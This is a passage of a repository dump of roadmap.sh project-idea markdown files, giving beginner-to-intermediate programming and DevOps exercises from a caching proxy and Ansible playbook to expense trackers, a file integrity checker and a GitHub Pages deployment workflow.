handling and graceful shutdown of the server.\n\n<hr />\n\nThis project will help you understand how to work with websockets and implement real-time communication between clients and servers. You can extend this project by adding features like authentication, message history, etc.\n"
  },
  {
    "path": "src/data/projects/caching-server.md",
    "content": "---\ntitle: 'Caching Proxy'\ndescription: 'Build a caching server that caches responses from other servers.'\nisNew: false\nsort: 1200\ndifficulty: 'intermediate'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'Text Processing'\n  - 'Markdown libraries'\n  - 'File Uploads'\nseo:\n  title: 'Caching Proxy Project Idea'\n  description: 'Build a caching proxy server that caches responses from proxied server.'\n  keywords:\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n  - 'cpp'\n---\n\nYou are required to build a CLI tool that starts a caching proxy server, it will forward requests to the actual server and cache the responses. If the same request is made again, it will return the cached response instead of forwarding the request to the server.\n\n## Requirements\n\nUser should be able to start the caching proxy server by running a command like following: \n\n```shell\ncaching-proxy --port <number> --origin <url>\n```\n\n- `--port` is the port on which the caching proxy server will run.\n- `--origin` is the URL of the server to which the requests will be forwarded.\n\nFor example, if the user runs the following command:\n\n```shell\ncaching-proxy --port 3000 --origin http://dummyjson.com\n```\n\nThe caching proxy server should start on port 3000 and forward requests to `http://dummyjson.com`.\n\nTaking the above example, if the user makes a request to `http://localhost:3000/products`, the caching proxy server should forward the request to `http://dummyjson.com/products`, return the response along with headers and cache the response. Also, add the headers to the response that indicate whether the response is from the cache or the server.\n\n```plaintext\n# If the response is from the cache\nX-Cache: HIT\n\n# If the response is from the origin server\nX-Cache: MISS\n```\n\nIf the same request is made again, the caching proxy server should return the cached response instead of forwarding the request to the server.\n\nYou should also provide a way to clear the cache by running a command like following:\n\n```shell\ncaching-proxy --clear-cache\n```\n\n<hr />\n\nAfter building the above project, you should have a good understanding of how caching works and how you can build a caching proxy server to cache responses from other servers."
  },
  {
    "path": "src/data/projects/changelog-component.md",
    "content": "---\ntitle: 'Changelog Component'\ndescription: 'Create a changelog component for a website using HTML and CSS.'\nisNew: false\nsort: 4\ndifficulty: 'beginner'\nnature: 'CSS'\nskills:\n  - 'HTML'\n  - 'Layouts'\n  - 'CSS'\n  - 'Flexbox'\nseo:\n  title: 'Create a Changelog Component Website Using HTML and CSS'\n  description: 'Learn how to create a changelog component for a website using HTML and CSS.'\n  keywords:\n    - 'basic css'\n    - 'css project idea'\n    - 'responsive design'\n    - 'html and css'\nroadmapIds:\n  - 'frontend'\n---\n\nIn this project you are required to create a simple component for a website that displays a changelog. A changelog is a log or record of all notable changes made to a project or software. It is often used to keep users informed about the latest updates and improvements.\n\nThe goal of this project is to teach you about positioning and layout in CSS. You will create a simple HTML structure and use CSS to style it into a visually appealing and responsive changelog component. Given below is a rough mockup of the changelog component you need to create.\n\n[![Changelog Component](https://assets.roadmap.sh/guest/changelog-component-1m86j.png)](https://assets.roadmap.sh/guest/changelog-component-1m86j.png)\n\nFeel free to customize the design and layout of the component as you see fit. The focus should be on creating a well-structured and responsive component that can be easily integrated into a website.\n\n---\n\nAfter completing this project, you will have a good understanding of how to create simple layouts using HTML and CSS. You can further enhance your skills by exploring more complex layouts, such as grids and flexbox, in future projects."
  },
  {
    "path": "src/data/projects/configuration-management.md",
    "content": "---\ntitle: 'Configuration Management'\ndescription: 'Write an Ansible playbook to configure a Linux server.'\nisNew: false\nsort: 1100\ndifficulty: 'intermediate'\nnature: 'Ansible'\nskills:\n  - 'ansible'\n  - 'linux'\n  - 'devops'\nseo:\n  title: 'Configuration Management'\n  description: 'Write an Ansible playbook to configure a Linux server.'\n  keywords:\n    - 'Configuration Management'\n    - 'Ansible'\n    - 'Linux'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to introduce you to the basics of configuration management using Ansible. You will write an Ansible playbook to configure a Linux server.\n\n## Requirements\n\nIf you have been doing the previous projects, you should already have a Linux server running. If not, setup a Linux server on [DigitalOcean](https://m.do.co/c/b29aa8845df8), AWS or another cloud provider.\n\nYou are required to write an Ansible playbook called `setup.yml` and create the following roles:\n\n- `base` — basic server setup (installs utilities, updates the server, installs `fail2ban`, etc.)\n- `nginx` — installs and configures `nginx`\n- `app` — uploads the given tarball of a static HTML website to the server and unzips it.\n- `ssh` - adds the given public key to the server\n\nSet up the inventory file `inventory.ini` to include the server you are going to configure When you run the playbook, it should run the roles above in sequence. You should also assign proper tags to the roles so that you can run only specific roles.\n\nExample:\n\n```bash\n# Run all the roles\nansible-playbook setup.yml\n\n# Run only the app role\nansible-playbook setup.yml --tags \"app\"\n```\n\n### Stretch goal\n\nModify the `app` role to pull the repository from GitHub and deploy it.\n\n<hr />\n\nOnce you are done with the project, you should have a basic understanding of how Ansible works and how it can be used to manage server configuration.\n"
  },
  {
    "path": "src/data/projects/cookie-consent.md",
    "content": "---\ntitle: 'Cookie Consent'  \ndescription: 'Create a simple cookie consent banner using JavaScript.'  \nisNew: false  \nsort: 12  \ndifficulty: 'beginner'  \nnature: 'JavaScript'  \nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'JavaScript'  \n  - 'DOM Manipulation'  \nseo:  \n  title: 'Create a Cookie Consent Popup Using HTML, CSS, and JavaScript'  \n  description: 'Learn how to build a cookie consent popup with basic JavaScript for managing user consent.'  \n  keywords:  \n    - 'cookie consent'\n    - 'javascript popup'\n    - 'html and css'\n    - 'javascript project'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nThis project is designed to introduce you to basic DOM manipulation and event handling in JavaScript.\n\nMany websites display a cookie consent popup to inform users about the use of cookies and to obtain their consent. In this project, you will create a simple cookie consent popup that appears when the user visits the page. The popup will include a message and a button to accept the consent. Once accepted, the popup will disappear. Given below is an example of how the popup might look:\n\n[![Cookie Consent Popup](https://assets.roadmap.sh/guest/cookie-consent-banner-07etz.png)](https://assets.roadmap.sh/guest/cookie-consent-banner-07etz.png)\n\nBonus points if you persist the user's consent using cookies or local storage and prevent the popup from appearing on subsequent visits."
  },
  {
    "path": "src/data/projects/custom-dropdown.md",
    "content": "---\ntitle: 'Custom Dropdown'\ndescription: 'Create a custom dropdown using HTML, CSS, and JavaScript.'\nisNew: false\nsort: 20\ndifficulty: 'intermediate'\nnature: 'JavaScript'\nskills:\n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'DOM Manipulation'\nseo:\n  title: 'Build a Custom Dropdown Menu with JavaScript'\n  description: 'Learn how to create a fully customizable dropdown menu that allows users to select an item and see the selection reflected in the dropdown.'\n  keywords:\n    - 'custom dropdown'\n    - 'javascript dropdown'\n    - 'html and css'\nroadmapIds:\n  - 'frontend'\n---\n\nYou will create a custom dropdown menu that lets users select an item from a list. The dropdown should have a default state showing a placeholder text, an open state revealing all options, and a selected state where the chosen item is displayed. When an item is selected, the dropdown closes, and the selected item is highlighted.\n\nGiven below is the mockup showing the dropdown in its default, open, and selected states:\n\n[![Custom Dropdown](https://assets.roadmap.sh/guest/dropdown-1f4b3.png)](https://assets.roadmap.sh/guest/dropdown-1f4b3.png)\n\nThis project will help you practice DOM manipulation, event handling, and creating responsive and interactive elements with JavaScript.\n"
  },
  {
    "path": "src/data/projects/database-backup-utility.md",
    "content": "---\ntitle: 'Database Backup Utility'\ndescription: 'Build a database backup utility that can backup and restore any DB'\nisNew: false\nsort: 2100\ndifficulty: 'advanced'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'Databases'\n  - 'CLI'\nseo:\n  title: 'Database Backup Utility Project Idea'\n  description: ''\n  keywords:\n    - 'multiplayer game server'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n  - 'cpp'\n---\n\nYou are required to build a command-line interface (CLI) utility for backing up any type of database. The utility will support various database management systems (DBMS) such as MySQL, PostgreSQL, MongoDB, SQLite, and others. The tool will feature automatic backup scheduling, compression of backup files, storage options (local and cloud), and logging of backup activities.\n\n## Project Requirements\n\nThe CLI tool should support the following features:\n\n### Database Connectivity\n\n- **Support for Multiple DBMS:** Provide support for connecting to various types of databases (e.g., MySQL, PostgreSQL, MongoDB).\n- **Connection Parameters:** Allow users to specify database connection parameters. Parameters may include host, port, username, password, and database name.\n- **Connection Testing:** Validate credentials based on the database type before proceeding with backup operations.\n- **Error Handling:** Implement error handling for database connection failures.\n\n### Backup Operations\n\n- **Backup Types:** Support full, incremental, and differential backup types based on the database type and user preference.\n- **Compression:** Compress backup files to reduce storage space.\n\n### Storage Options\n\n- **Local Storage:** Allow users to store backup files locally on the system.\n- **Cloud Storage:** Provide options to store backup files on cloud storage services like AWS S3, Google Cloud Storage, or Azure Blob Storage.\n\n### Logging and Notifications\n\n- **Logging:** Log backup activities, including start time, end time, status, time taken, and any errors encountered.\n- **Notifications:** Optionally send slack notification on completion of backup operations.\n\n### Restore Operations\n\n- **Restore Backup:** Implement a restore operation to recover the database from a backup file.\n- **Selective Restore:** Provide options for selective restoration of specific tables or collections if supported by the DBMS.\n\n## Constraints\n\nFeel free to use any programming language or framework of your choice to implement the database backup utility. Ensure that the tool is well-documented and easy to use. You can leverage existing libraries or tools for database connectivity and backup operations.\n\n- The tool should be designed to handle large databases efficiently.\n- Ensure that the backup and restore operations are secure and reliable.\n- The utility should be user-friendly and provide clear instructions for usage (e.g., help command).\n- Consider the performance implications of backup operations on the database server.\n- Implement proper error handling and logging mechanisms to track backup activities.\n- Ensure compatibility with different operating systems (Windows, Linux, macOS).\n\n\n<hr />\n\nWorking on this project will help you gain a deeper understanding of database management systems, backup strategies, command-line interface development, and error handling. You will also learn about cloud storage integration and logging mechanisms. This project will enhance your skills in programming, database management, and system administration.\n\n"
  },
  {
    "path": "src/data/projects/datepicker-ui.md",
    "content": "---\ntitle: 'Datepicker UI'  \ndescription: 'Create a simple datepicker UI using HTML and CSS.'  \nisNew: false  \nsort: 6  \ndifficulty: 'beginner'  \nnature: 'CSS'\nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'Layouts'  \n  - 'Positioning'\nseo:  \n  title: 'Create a Datepicker UI for a Website Using HTML and CSS'  \n  description: 'Learn how to create a datepicker component using HTML and CSS.'  \n  keywords:  \n    - 'basic css'  \n    - 'css project idea'  \n    - 'responsive design'  \n    - 'html and css'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nIn this project, you are required to create a simple datepicker UI using only HTML and CSS. It will not be a functional datepicker, but a static UI component that you can later enhance with JavaScript.\n\nThe goal of this project is to help you practice positioning, layout, and styling techniques in CSS. Below is a rough mockup showing the datepicker UI you need to create.\n\n[![Datepicker UI](https://assets.roadmap.sh/guest/datepicker-ui-7l480.png)](https://assets.roadmap.sh/guest/datepicker-ui-7l480.png)\n\nFeel free to customize the colors, fonts, and overall design to match your style.\n\n---\n\nWhile this version won't be functional, it will provide a solid foundation for creating an interactive datepicker in a future project."
  },
  {
    "path": "src/data/projects/dockerized-service-deployment.md",
    "content": "---\ntitle: 'Dockerized Service'\ndescription: 'Use GitHub Actions to Deploy a Dockerized Node.js Service'\nisNew: false\nsort: 1400\ndifficulty: 'intermediate'\nnature: 'Docker'\nskills:\n  - 'nodejs'\n  - 'docker'\n  - 'devops'\nseo:\n  title: 'Dockerized Service Deployment'\n  description: 'Use GitHub Actions to Deploy a Dockerized Node.js Service to a remote server'\n  keywords:\n    - 'Docker'\n    - 'DigitalOcean'\n    - 'Node.js'\n    - 'GitHub Actions'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to dockerize a simple Node.js service and deploy it to a remote server using GitHub Actions. You will also practice secrets management.\n\n## Requirements\n\nThere are 4 parts to this project:\n\n- **Step 1** — Creating a Node.js service\n- **Step 2** — Dockerizing the Node.js service\n- **Step 3** — Setup a remote Linux Server\n- **Step 4** — Deploying the Dockerized Node.js service to a remote server using GitHub Actions\n\n### Part 1: Creating a Node.js service\n\nYou are required to create a simple Node.js service with two routes:\n\n- `/` route - which simply returns `Hello, world!`\n- `/secret` route - protected by Basic Auth\n\nProject should have a `.env` file with the following variables:\n\n- `SECRET_MESSAGE` - the secret message that the `/secret` route should return\n- `USERNAME` - the username for the Basic Auth\n- `PASSWORD` - the password for the Basic Auth\n\nWhen user visits the `/secret` route, they should be prompted for the username and password. If the username and password are correct, they should be able to see the secret message. If the username and password are incorrect, they should see an error message.\n\n### Part 2: Dockerizing the Node.js service\n\nCreate a Dockerfile for the Node.js service that will build a Docker image. You should be able to run the Docker image locally. Make sure that the `.env` file is not included in the Docker image.\n\n### Part 3: Setup a remote Linux Server\n\nSetup a remote Linux server on either [DigitalOcean](https://m.do.co/c/b29aa8845df8), AWS, or any other provider. You can either set it up manually by using SSH or use a mix of Ansible or Terraform from previous projects.\n\n### Part 4: Deploy the Dockerized Node.js service\n\nCreate a workflow that will build a Docker image and push it to the container registry. The workflow should then deploy the Docker image to the remote server. Feel free to explore secrets management in GitHub Actions. I will leave the implementation details to you.\n\n<hr />\n\nOnce you are done with the project, you will have practiced dockerizing applications, setting up remote servers, implementing CI/CD workflows and secrets management.\n"
  },
  {
    "path": "src/data/projects/dummy-systemd-service.md",
    "content": "---\ntitle: 'Dummy Systemd Service'\ndescription: 'Create a long-running systemd service that logs to a file.'\nisNew: false\nsort: 900\ndifficulty: 'beginner'\nnature: 'Systemd'\nskills:\n  - 'Linux'\n  - 'DevOps'\n  - 'Systemd'\nseo:\n  title: 'Dummy Systemd Service'\n  description: 'Create a long-running Systemd service that autorestarts and logs to a file.'\n  keywords:\n    - 'Dummy Systemd Service'\n    - 'Systemd Service'\n    - 'Systemd'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to get familiar with `systemd`; creating and enabling a service, checking the status, keeping an eye on the logs, starting and stopping the service, etc.\n\n## Requirements\n\nCreate a script called `dummy.sh` that keeps running forever and writes a message to the log file every 10 seconds simulating an application running in the background. Here is an example script:\n\n```bash\n#!/bin/bash\n\nwhile true; do\n  echo \"Dummy service is running...\" >> /var/log/dummy-service.log\n  sleep 10\ndone\n```\n\nCreate a systemd service `dummy.service` that should start the app automatically on boot and keep it running in the background. If the service fails for any reason, it should automatically restart.\n\nYou should be able to `start`, `stop`, `enable`, `disable`, check the `status` of the service, and check the logs i.e. following commands should be available for the service:\n\n```bash\n# Interacting with the service\nsudo systemctl start dummy\nsudo systemctl stop dummy\nsudo systemctl enable dummy\nsudo systemctl disable dummy\nsudo systemctl status dummy\n\n# Check the logs\nsudo journalctl -u dummy -f\n```\n\n<hr />\n\nAfter completing this project, you will have a good understanding of systemd, creating custom services, managing existing services, debugging issues, and more."
  },
  {
    "path": "src/data/projects/ec2-instance.md",
    "content": "---\ntitle: 'EC2 Instance'\ndescription: 'Create an EC2 instance on AWS and connect to it using SSH.'\nisNew: false\nsort: 1001\ndifficulty: 'beginner'\nnature: 'AWS'\nskills:\n  - 'aws'\n  - 'ec2'\n  - 'linux'\n  - 'devops'\nseo:\n  title: 'EC2 Instance'\n  description: 'Create an EC2 instance on AWS and connect to it using SSH.'\n  keywords:\n    - 'ec2'\n    - 'aws'\n    - 'linux'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to create an AWS account, set up a Linux server on AWS EC2, and deploy a simple static website. This project will help you gain hands-on experience with cloud computing, specifically with Amazon Web Services (AWS).\n\n## Requirements\n\nYou are required to complete the following tasks:\n\n- Create an AWS account if you don't have one already.\n- Familiarize yourself with the AWS Management Console.\n- Launch an EC2 instance with the following specifications:\n   - Use Ubuntu Server AMI.\n   - Choose a `t2.micro` instance type (eligible for AWS Free Tier).\n   - Use the default VPC and subnet for your region.\n   - Configure the security group to allow inbound traffic on ports `22` (SSH) and `80` (HTTP).\n   - Create a new key pair or use an existing one for SSH access.\n   - Assign a public IP address to your instance.\n- Connect to your EC2 instance using SSH and the private key.\n- Update the system packages and install a web server (e.g., Nginx).\n- Create a simple HTML file for your static website.\n- Deploy the static website to your EC2 instance.\n- Access your website using the public IP address of your EC2 instance.\n\n## Stretch Goals\n\nIf you want to challenge yourself further, try these additional tasks:\n\n- Set up a custom domain name for your website using Amazon Route 53.\n- Implement HTTPS using a free SSL/TLS certificate from Let's Encrypt.\n- Create a simple CI/CD pipeline using AWS CodePipeline to automatically deploy changes to your website.\n\n## Learning Outcomes\n\nAfter completing this project, you will have gained practical experience in:\n\n- Creating basic AWS resources\n- Learn about [AWS instances, types and differences](https://kamranahmed.info/posts/up-and-running-with-aws-ec2)\n- Launching and configuring EC2 instances\n- Connecting to Linux servers using SSH\n- Basic server administration and web server setup\n- Deploying static websites to cloud infrastructure\n\n\n<hr />\n\nAfter finishing this project you should have a good understanding of launching and connecting to EC2 instances, basic knowledge of security groups, and be able to deploy any of the projects from previous tasks using AWS EC2. Future project ideas will be based on these concepts.\n"
  },
  {
    "path": "src/data/projects/ecommerce-api.md",
    "content": "---\ntitle: 'E-Commerce API'\ndescription: 'E-Commerce platform with cart and payment gateway integration.'\nisNew: false\nsort: 1600\ndifficulty: 'intermediate'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Database'\n  - 'Payment Gateway'\n  - 'Inventory Management'\nseo:\n  title: 'E-Commerce API Project Idea'\n  description: 'E-Commerce platform with cart and payment gateway integration.'\n  keywords:\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to build an API for an e-commerce platform. If you have developed the other projects in this roadmap, you will have to keep in mind everything you have learned so far:\n\n- JWT authentication to ensure many users can interact with it.\n- Implementing simple CRUD operations.\n- Interaction with external services. Here you’ll be integrating with payment gateways such as Stripe.\n- A complex data model that can handle products, shopping carts, and more.\n\nThe goal of this project is to help you understand how to build a logic-heavy application with complex data models. You will also learn how to interact with external services and handle user authentication.\n\n![E-Commerce API](https://assets.roadmap.sh/guest/simple-ecommerce-api-thzqo.png)\n\n## Requirements\n\nHere is a rough list of requirements for this project:\n\n- Ability for users to sign up and log in.\n- Ability to add products to a cart.\n- Ability to remove products from a cart.\n- Ability to view and search for products.\n- Ability for users to checkout and pay for products.\n\nYou should also have some sort of admin panel where only you can add products, set the prices, manage inventory, and more.\n\nStart with building the API first and then frontend; you can use tools like Postman to interact with your API. Alternatively, build a simple frontend with HTML, CSS and some templating engine like Jinja or EJS.\n\n<hr />\n\nThis project is a great way to learn how to build a complex application with a lot of moving parts. I will highly recommend you to complete this project before moving on to more advanced projects."
  },
  {
    "path": "src/data/projects/expense-tracker-api.md",
    "content": "---\ntitle: 'Expense Tracker API'\ndescription: 'Build an API for an expense tracker application.'\nisNew: false\nsort: 1000\ndifficulty: 'beginner'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Data modeling'\n  - 'User Authentication'\nseo:\n  title: 'Expense Tracker API Project Idea'\n  description: 'Build an API for an expense tracker application.'\n  keywords:\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nBuild an API for an expense tracker application. This API should allow users to create, read, update, and delete expenses. Users should be able to sign up and log in to the application. Each user should have their own set of expenses.\n\n![Expense Tracker API](https://assets.roadmap.sh/guest/expense-tracker-api-m72p5.png)\n\n## Features\n\nHere are the features that you should implement in your Expense Tracker API:\n\n- Sign up as a new user.\n- Generate and validate JWTs for handling authentication and user session.\n- List and filter your past expenses. You can add the following filters:\n  - Past week\n  - Past month\n  - Last 3 months\n  - Custom (to specify a start and end date of your choosing).\n- Add a new expense\n- Remove existing expenses\n- Update existing expenses\n\n## Constraints\n\nYou can use any programming language and framework of your choice. You can use a database of your choice to store the data. You can use any ORM or database library to interact with the database.\n\nHere are some constraints that you should follow:\n\n- You’ll be using [JWT (JSON Web Token)](https://itnext.io/demystifying-jwt-a-guide-for-front-end-developers-ead6574531c3) to protect the endpoints and to identify the requester.\n- For the different expense categories, you can use the following list (feel free to decide how to implement this as part of your data model):\n  - Groceries\n  - Leisure\n  - Electronics\n  - Utilities\n  - Clothing\n  - Health\n  - Others\n\n<hr />\n\nThis is the last \"beginner\" project in the backend roadmap. If you have completed all the projects in the backend roadmap, you should have a good understanding of how to build a backend application. You can now move on to the \"intermediate\" projects in the backend roadmap.\n\n"
  },
  {
    "path": "src/data/projects/expense-tracker.md",
    "content": "---\ntitle: 'Expense Tracker'\ndescription: 'Build a simple expense tracker to manage your finances.'\nisNew: false\nsort: 300\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'CLI'\n  - 'Filesystem'\n  - 'Logic Building'\nseo:\n  title: 'Expense Tracker'\n  description: 'Build a simple expense tracker application to manage your finances.'\n  keywords:\n    - 'expense tracker cli'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n  - 'cpp'\n---\n\nBuild a simple expense tracker application to manage your finances. The application should allow users to add, delete, and view their expenses. The application should also provide a summary of the expenses.\n\n## Requirements\n\nApplication should run from the command line and should have the following features:\n\n- Users can add an expense with a description and amount.\n- Users can update an expense.\n- Users can delete an expense.\n- Users can view all expenses.\n- Users can view a summary of all expenses.\n- Users can view a summary of expenses for a specific month (of current year).\n\nHere are some additional features that you can add to the application:\n\n- Add expense categories and allow users to filter expenses by category.\n- Allow users to set a budget for each month and show a warning when the user exceeds the budget.\n- Allow users to export expenses to a CSV file.\n\nThe list of commands and their expected output is shown below:\n\n```bash\n$ expense-tracker add --description \"Lunch\" --amount 20\n# Expense added successfully (ID: 1)\n\n$ expense-tracker add --description \"Dinner\" --amount 10\n# Expense added successfully (ID: 2)\n\n$ expense-tracker list\n# ID  Date       Description  Amount\n# 1   2024-08-06  Lunch        $20\n# 2   2024-08-06  Dinner       $10\n\n$ expense-tracker summary\n# Total expenses: $30\n\n$ expense-tracker delete --id 2\n# Expense deleted successfully\n\n$ expense-tracker summary\n# Total expenses: $20\n\n$ expense-tracker summary --month 8\n# Total expenses for August: $20\n```\n\n## Implementation\n\nYou can implement the application using any programming language of your choice. Here are some suggestions:\n\n- Use any programming language for any available module for parsing command arguments (e.g. python with the `argparse`, node.js with `commander` etc).\n- Use a simple text file to store the expenses data. You can use JSON, CSV, or any other format to store the data.\n- Add error handling to handle invalid inputs and edge cases (e.g. negative amounts, non-existent expense IDs, etc).\n- Use functions to modularize the code and make it easier to test and maintain.\n\n<hr />\n\nThis project idea is a great way to practice your logic building skills and learn how to interact with the filesystem using a CLI application. It will also help you understand how to manage data and provide useful information to users in a structured way.\n"
  },
  {
    "path": "src/data/projects/file-integrity-checker.md",
    "content": "---\ntitle: 'File Integrity Checker'\ndescription: 'Verify the integrity of application log files to detect tampering.'\nisNew: false\nsort: 1602\ndifficulty: 'intermediate'\nnature: 'Security'\nskills:\n  - 'Bash'\n  - 'Python'\n  - 'Linux'\n  - 'Cyber Security'\nseo:\n  title: 'Build A File Integrity Checking Tool'\n  description: 'Learn how to build a CLI tool that validates the integrity of a file using hashes.'\n  keywords:\n    - 'integrity'\n    - 'hashing'\n    - 'security'\n    - 'devops'\n    - 'cyber security'\nroadmapIds:\n  - 'devops'\n---\n\nYou are required to develop a tool that verifies the integrity of log files to detect tampering. This tool can be used to enhance security measures by using techniques such as file integrity monitoring and hashing to ensure that no unauthorized changes have been made to the log files.\n\n## Requirements\n\nThe tool should be capable of the following:\n\n- Accept a directory or a single log file as input.\n- Utilize a cryptographic hashing algorithm, such as SHA-256, to compute hashes for each log file provided.\n- On first use, store the computed hashes in a secure location.\n- For subsequent uses, compare the newly computed hashes against the previously stored ones.\n- Clearly report any discrepancies found as a result of the hash comparison, indicating possible file tampering.\n- Allow for manual re-initialization of log file integrity.\n\nHere is the example of how it might look like\n\n```bash\n> ./integrity-check init /var/log  # Initializes and stores hashes of all log files in the directory\n> Hashes stored successfully.\n\n> ./integrity-check check /var/log/syslog\n> Status: Modified (Hash mismatch)\n# Optionally report the files where hashes mismatched\n\n> ./integrity-check -check /var/log/auth.log\n> Status: Unmodified\n\n> ./integrity-check update /var/log/syslog\n> Hash updated successfully.\n```\n\nAfter completing this project you will get the idea of hashing algorithms, security and writing scripts.\n"
  },
  {
    "path": "src/data/projects/fitness-workout-tracker.md",
    "content": "---\ntitle: 'Workout Tracker'\ndescription: 'App to let users track their workouts and progress.'\nisNew: false\nsort: 1700\ndifficulty: 'intermediate'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Date and Time'\n  - 'Database'\n  - 'Seeder'\n  - 'OpenAPI'\nseo:\n  title: 'Workout Tracker Project Idea'\n  description: 'App to let users track their workouts and progress.'\n  keywords:\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nThis project involves creating a backend system for a workout tracker application where users can sign up, log in, create workout plans, and track their progress. The system will feature JWT authentication, CRUD operations for workouts, and generate reports on past workouts.\n\n## Requirements\n\nYou are required to develop an API for a workout tracker application that allows users to manage their workouts and track their progress. Your first task is to think about the database schema and the API endpoints that will be needed to support the application's functionality. Here are some of the key features you should consider:\n\n### Exercise Data\n\nYou should write a data seeder to populate the database with a list of exercises. Each exercise should have a name, description, and category (e.g., cardio, strength, flexibility) or muscle group (e.g., chest, back, legs). Exercises will be used to create workout plans.\n\n### User Authentication and Authorization\n\nUsers will be able to sign up, log in, and log out of the application. You should use JWTs for authentication and authorization. Only authenticated users should be able to create, update, and delete workout plans. Needless to say, users should only be able to access their own workout plans.\n\n- **Sign-Up**: Allow users to create an account.\n- **Login**: Allow users to log in to their account.\n- **JWT**: Use JSON Web Tokens for authentication.\n\n### Workout Management\n\nUsers will be able to create their workout plans. Workout plans should consist of multiple exercises, each with a set number of repetitions, sets, and weights. Users should be able to update and delete their workout plans. Additionally, users should be able to schedule workouts for specific dates and times.\n\n- Create Workout: Allow users to create workouts composed of multiple exercises.\n- Update Workout: Allow users to update workouts and add comments.\n- Delete Workout: Allow users to delete workouts.\n- Schedule Workouts: Allow users to schedule workouts for specific dates and times.\n- List Workouts: List active or pending workouts sorted by date and time.\n- Generate Reports: Generate reports on past workouts and progress.\n\n## Constraints\n\nYou are free to choose the programming language and database of your choice. Actual decisions for the database schema, API endpoints, and other implementation details are up to you. However, you should consider the following constraints:\n\n- **Database**: Use a relational database to store user data, workout plans, and exercise data.\n- **API**: Develop a RESTful API to interact with the database.\n- **Security**: Implement JWT authentication to secure the API endpoints.\n- **Testing**: Write unit tests to ensure the correctness of your code.\n- **Documentation**: Learn about OpenAPI Specs. Document your API endpoints and provide examples of how to use them.\n\n<hr />\n\nThis project is a great way to practice building a backend system for a real-world application. You will learn how to design a database schema, implement user authentication, and create RESTful API endpoints. Additionally, you will gain experience in writing unit tests and documenting your code.\n"
  },
  {
    "path": "src/data/projects/flash-cards.md",
    "content": "---\ntitle: Flash Cards\ndescription: Create a flash card app using JavaScript frameworks.\nisNew: true\nsort: 20\ndifficulty: 'beginner'\nnature: 'Frontend'\nskills:\n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'JavaScript Frameworks'\nseo:\n  title: Build a Flash Cards App\n  description: Create a flash card app using JavaScript frameworks\n  keywords:\n    - 'flash cards'\n    - 'frontend project idea'\n    - 'javascript frameworks'\nroadmapIds:\n  - 'frontend'\n---\n\nThe goal of this project is to help you learn about how to use state management and component-based architecture using JavaScript frameworks. You will build a flash card app with pre-defined JavaScript questions and answers that users can flip through to test their knowledge.\n\n![Flash Cards](https://assets.roadmap.sh/guest/flash-cards-crzw6.png)\n\n## Requirements\n\nYou are required to develop a flash cards app with the following features:\n\n- Pre-defined flashcards with questions and answers\n- Progress bar to show the user's progress\n- Ability to view flashcards one at a time and flip to reveal the answer\n- Simple navigation to cycle through the flashcards\n\n<hr />\n\nThis project will help you understand how to manage state and create reusable components. You can use any framework of your choice, such as React, Angular, or Vue.js, to build this project.\n"
  },
  {
    "path": "src/data/projects/github-actions-deployment-workflow.md",
    "content": "---\ntitle: 'GitHub Pages Deployment'\ndescription: 'Write a simple GitHub Actions workflow to deploy a static website to GitHub Pages.'\nisNew: true\nsort: 400\ndifficulty: 'beginner'\nnature: 'CI / CD'\nskills:\n  - 'github actions'\n  - 'ci/cd'\nseo:\n  title: 'GitHub Actions Deployment Workflow'\n  description: 'Write a simple GitHub Actions workflow to deploy a static website to GitHub Pages.'\n  keywords:\n    - 'GitHub Actions Deployment Workflow'\n    - 'devops project idea'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to help you learn the notion of continuous integration and continuous deployment. You will write a simple GitHub Actions workflow to deploy a static website to GitHub Pages.\n\n## Requirements\n\nYou are required to write a GitHub action that deploys any changes made to the `index.html` file to GitHub Pages. It should only deploy the file when the `index.html` file is changed.\n\nHere are the steps to get you started:\n\n- Create a GitHub repository for the project called `gh-deployment-workflow` for example.\n- Repository should contain a simple `index.html` file saying \"Hello, GitHub Actions!\" \n- It should also have a `README.md` file explaining the project. \n- There should also be a `deploy.yml` file in the `.github/workflows` directory which contains the GitHub Actions workflow to deploy the website to GitHub Pages. \n- Every push to the `main` branch that changes the `index.html` file should trigger the workflow to run and deploy the website to [GitHub Pages](https://docs.github.com/en/pages).\n- Website and any changes you make should be accessible at the GitHub pages URL for the repository e.g. `https://<username>.github.io/gh-deployment-workflow/`.\n\nStretch goal: You can also make this project more practical e.g. use some sort of a static site generator such as [Hugo](https://gohugo.io/), [Jekyll](https://jekyllrb.com/), [Astro](https://astro.build/) or similar generator to create a more complex website e.g. your own personal portfolio.\n\n<hr 